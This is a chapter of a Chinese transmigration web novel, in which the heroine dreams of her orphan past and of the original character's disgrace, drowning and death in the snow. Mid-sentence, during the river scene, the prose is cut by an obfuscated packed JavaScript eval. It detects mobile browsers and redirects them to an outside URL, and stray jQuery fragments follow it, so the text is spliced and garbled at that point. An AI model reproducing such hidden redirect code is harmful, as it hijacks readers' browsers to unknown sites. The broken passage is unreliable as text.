45. 旧梦

作品:《炮灰反派求生剧本[穿书]

    在院长的描述中,送他们到福利院的是个年轻却看起来十分沧桑的男人,他和长大后的梁佑臣样貌高度相似,把尚且年幼的两人交到院长手上后便匆匆离开了,此后再也没有人见过他。


    其实也不是什么惊天动地的大秘密,裴钟琪也不明白自己为什么下意识站在门口不进去。院长讲完后,病房里陷入了漫长的沉默,几乎就是一个进去的好时机了。


    她刚刚迈出一步,忽然听见院长的声音再度响了起来:“佑臣啊,那个男人让我嘱咐你,一定不要离开钟琪。”


    梁佑臣说:“当然,我们长这么大,从来都没有分开过。”


    “不是的,不止是这样。”院长缓缓道,“以后,她去了任何地方,你都要陪着她。”


    “是‘任何地方’,佑臣,就算那个地方很远很远,你也要在她身边,不要让她一个人。”


    “什么意思?”十九岁的梁佑臣充满疑惑地问道。


    十九岁的裴钟琪同样无法理解,可院长却缄默不言,用沉默将这个话题揭了过去。


    她选了个合适的时机,装作什么都没有听到一样进了病房,和闻声看过来的梁佑臣对视一眼,默契地都没有提起刚刚的对话。


    小的时候,裴钟琪也不是没有好奇过自己的亲生父母是谁,只是这份寻亲的念头随着年岁增长渐渐淡了下去,院长说的那些话更让她意识到,她的父母或许都已经不在人世了。


    后来,他们毕业、工作,因为一切都太过顺理成章,所以裴钟琪也没觉得自己和梁佑臣一起待在一起有什么不对的,病房里的那段对话逐渐被她抛诸脑后。


    直到现在,她站在自己的梦境里,看着病房里十九岁的自己和梁佑臣坐在病床两侧,院长闭着眼躺在二人中间,她忽然想到,梁佑臣跟着自己一起穿进这本书中,真的只是一个巧合吗?


    她朝着病房里动作定格的三人走了两步,整个世界忽然回荡起震耳欲聋的电子音:


    【检测到重要剧情点任务未完成,现在对宿主进行惩罚。】


    视野里骤然红光闪烁,病房如同被击碎的镜面,裂痕从画面中心开始蔓延,密密麻麻地爬满了病房,随后猛然迸裂,无数细碎的镜片如同雪花般从她身旁飘落。


    世界被巨大的黑暗吞没,裴钟琪脚下的地面也消失得无影无踪,她失去落脚点,坠入了万丈深渊之中。


    坠落的过程漫长得仿佛无穷无尽,又短暂得仿佛只过去了一秒,眼前的黑暗倏忽被刺目的光线代替,她不适地眯了眯眼,看清眼前的场景后,背后陡然一凉。


    她的面前站着许多人,衣香鬓影,西装革履,人们穿着考究,手上端着酒杯或冷餐盘,无一例外地转头看着她,表情严肃冷漠。


    裴钟琪下意识后退一步,视线落到远处,大屏幕上是一段已经播放结束的监控录像,画面停在视频的最后一帧,裴钟琪倒在台阶之下,痛苦地蜷起身体抱着腿。


    屏幕下,许宁依偎在周明旸怀里,父母和裴敬言站在她身前,虎视眈眈地盯着这边,形成一个保护的姿态。


    视线下移,裴钟琪看见了自己的身体。她没穿奶奶寿宴上那身及地的长裙,而是穿着一件刚过膝盖的白裙,十分刻意地将打着石膏的左腿露在外面,生怕别人注意不到她的伤似的。


    她感受到自己拄着拐的手臂正在微微发抖,想说话,却发现自己竟然控制不了这具身体,只能随着身体主人的动作茫然地环视周围,最后停在了人群里的余书云身上。


    对,对,这是她的朋友,是她自己的朋友,她忽然冒出了这样的想法。


    “书云……”她听见自己用泫然欲泣的声音说道,“我不是……”


    余书云嫌恶地后退了一步,说:“真没想到你竟然是这样的人,我真是看错你了,裴钟琪。”


    裴钟琪无措地向四周看去,人们注视她的目光和余书云别无二致,有的还参杂着幸灾乐祸。远处的家人同样目光冰冷,含着浓浓的失望,像是已经不对她有任何期待。


    “妈妈……”


    她拄着拐,艰难地往那边走了两步,邱沁竹却抬起手,无情地制止了她的动作:“腿脚不好,就别再折腾了。”


    裴敬言叫来服务员,让人把裴钟琪送上车:“这段时间的生活费先停了,你就在家好好养伤、好好反省吧。”


    没有给她争辩的时间,服务员不容置疑地搀着她把她带离了现场。


    随后她被关进了自己的房间,一连几周都没有去学校,除了张阿姨定时来给她送饭,再也没有人来看过她。


    她自觉在众人面前颜面扫地,把手机丢到了一旁,不想再和任何人联系,直到部门的副部长给她打电话,问她要不要去周末的活动,她才知道团委和学生会搞了个名为团建实为联谊的活动,打算周末一起去爬显城的栖霞山。


    以她如今的身体状况,当然没法参与这种运动,她让副部长帮她请了假,又旁敲侧击了一番,确认寿宴上的事情并没有传到学校里,心思便又活络了起来。


    裴钟琪甚至没想过自己心底突然迸发的恶意究竟从何而来,她就像突然被不知道什么人布置了任务一样,脑海里只剩下了一个想法,那就是——一定要让许宁从周明旸身边离开。


    爬山活动定在了早上,她从副部长那里打听到了爬山的具体时间,想办法躲过了裴家人对她的看管,深夜从家里溜了出去。


    她腿脚不便,跟踪众人跟踪得十分艰辛,好在一群人走走停停,速度不快,也没让她跟丢了目标。


    众人爬山爬累了,便选在一处平台休息,旁边有一条小河流过,许宁想去洗个脸,便脱离了大部队,一个人走到较浅的水边,蹲下身掬了捧水扑到脸上,起身后一转身,被不知何时出现在她身后的裴钟琪吓了一大跳。


    这里里众人休息的平台有些距离,被树木遮挡着,算是个视线死角,许宁不自觉后退了一步,朝平台那边瞥了一眼,尬笑着说:“姐姐,你怎么在这里?”


    裴钟琪听得见自己在说话,可不知为何,她的声音模糊而遥远,像沉在深海里,根本无法听清到底说了些什么。


    很快,许宁的声音也变得模糊不清,裴钟琪听不到二人都说了些什么,只能看到许宁脸上的笑容渐渐收了起来,表情变得担忧,还朝自己伸出了手,像是想要来搀扶她。


    随后,许宁忽然被什么吸引了注意力,朝裴钟琪身后看去,开口叫了声什么。裴钟琪的视线也跟着转过去,看见了穿着一身专业服装的裴敬言正朝自己走来。


    她听不见裴敬言说了什么,也看不见他做了什么,视线变得忽明忽暗,世界仿佛电路老化的灯泡般闪烁起来,最后一个画面是裴敬言朝自己伸出的手,再有意识的时候,是她扑通一声砸进了河里。


    河水流速不低,这具身体的主人又似乎不会游泳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104232|173115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,在河水里徒劳地挣扎几下,反而让自己更深地沉进水里。


    和她呼吸时的气泡一起缓慢向水面浮去的还有一抹银色的光芒,裴钟琪再一次看见了那条项链。


    展翅欲飞的银鸟。


    肺里流失的空气一点点带走她的神智,眼前一阵阵发黑,她依稀听见有人在喊她的名字,上方的水面投下一道阴影,有人拨开水流朝自己游过来。


    视线再度亮起,她躺在了病床上,高烧折磨着她的神经,身旁不知道是谁絮絮叨叨地吵着架,她烦不胜烦,用力闭上眼睛。


    下一个画面是她坐在住院部的院子里,宽大的病号服罩在她身上,显得空空荡荡,仿佛随时会被吹走。


    左腿一直在疼,没有人告诉她,但她却笃定地知道这条腿将留下后遗症,她终身都会拖着一条不健康的瘸腿。


    她心里骤然涌现出一股极浓的痛苦和怨恨,一遍遍用力锤着自己的伤腿,似乎自己施加的疼痛就能让它好起来。


    “别这样。”有人站在了她面前,攥住了她自我伤害的手。


    下一瞬,她出现在了墓园里,细雨霏霏,许宁从身后追过来,抓着她的肩膀大声地吼着什么。


    画面一转,她出现在了一间废弃工厂里,似乎已经是深秋,她穿着厚厚的外套,手心仍然一片冰凉。


    视线尽头,一个戴着头套的女孩蜷缩在墙角,自然卷的短发从头套下露出一小截,她双手被绑在身后,呜咽地发着抖。


    裴钟琪从一旁的玻璃倒影上看清了自己的样子,面色发白,毫无健康的血色。


    她的身后还站着一个人,双手插兜,玩世不恭地看着她:“这样你就满意了吗?”


    接下来的画面变得短暂,像是快速切换的幻灯片。


    她在工厂里奔跑,因为左腿使不上劲,很快就被不知道什么东西绊倒,重重地摔倒在地。


    下一个画面是她跪在裴家灯火通明的客厅里,父亲的一巴掌重重甩在她脸上。


    然后是一间很有些眼熟的破旧公寓,棉被散发着老旧的尘土气息,她缩在衣柜里,用厚衣服为自己铸了一座坟茔。


    再下一瞬是破门而入的人们,凶神恶煞的男人们一把将茶几上的东西扫在地上,用力拽起她的头发。


    然后是雪天,她裹着单薄的睡衣在黑夜里奔逃。


    天色太黑了,泪水糊住了她的视线,她没能看清脚下的路况,身体失重,重重地朝着什么地方滚了下去。


    身体各处都是被硬物撞击的疼痛,她终于停止了翻滚,趴在雪地里一动不动。


    头疼欲裂,意识逐渐远离,她闭上眼,被极度的悔恨和悲伤包围,在漫天的大雪里不甘地死去了。


    ……


    裴钟琪骤然睁开眼睛,猛地从位置上坐了起来,盖在胸前的西装外套顺势滑落到腿上。


    她的后背满是冷汗,手脚一片冰凉,整个人不自觉地战栗着,还没有从漫长的噩梦中缓过神来。


    视线逐渐聚焦,头顶是一片清澈的星空,耳旁是缓慢而有规律的海浪声,风吹动她的头发,她顺着头发飞舞的方向看过去,海浪轻轻拍打着礁石,海水在月色下泛着绸缎般的幽蓝波光。


    驾驶座上,梁佑臣一手撑着头,白衬衫被风吹得微微鼓起。他凝视着裴钟琪,声音带着点劫后余生般的庆幸,又不知为何有些沙哑。


    “你终于醒了,钟琪。”